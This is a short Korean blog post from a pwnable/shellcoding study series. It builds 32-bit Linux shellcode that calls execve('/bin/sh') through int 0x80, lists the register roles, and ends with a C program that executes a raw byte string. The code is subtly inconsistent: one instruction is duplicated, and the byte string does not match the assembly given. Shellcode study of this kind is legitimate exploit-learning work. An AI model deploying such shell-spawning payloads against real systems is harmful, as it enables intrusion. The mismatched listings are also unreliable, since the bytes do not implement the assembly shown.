pwnable/Shellcoding
쉘코드 만들기 (직접)
범고래_1
2018. 12. 23. 04:36
처음으로 쉘코드를 만들어 보았다.
일단 32비트 기준으로
eax : system call 번호
ebx : 첫 번째 매개변수
ecx : 두 번째 매개변수
edx : 세 번째 매개변수
맞춰준 다음에, int 0x80으로 시스템 콜
목표는 execve(&"/bin/sh", NULL, NULL);
xor eax,eax push eax mov ecx,esp mov ecx,esp push 0x68732f2f push 0x6e69622f mov ebx,esp mov al,0xb int 0x80
간단 ㅋ
이걸 pwntools asm 함수를 쓰거나, 온라인 어셈블러로 opcode로 만들어준 후 콜하면 된다.
#includechar * sc = "\xe9\x0f\x10\x00\x00\x5b\x31\xc0\x50\x89\xe2\x89\xe1\xb0\x0b\xcd\x80"; int main() { (*(void(*)()) sc)(); }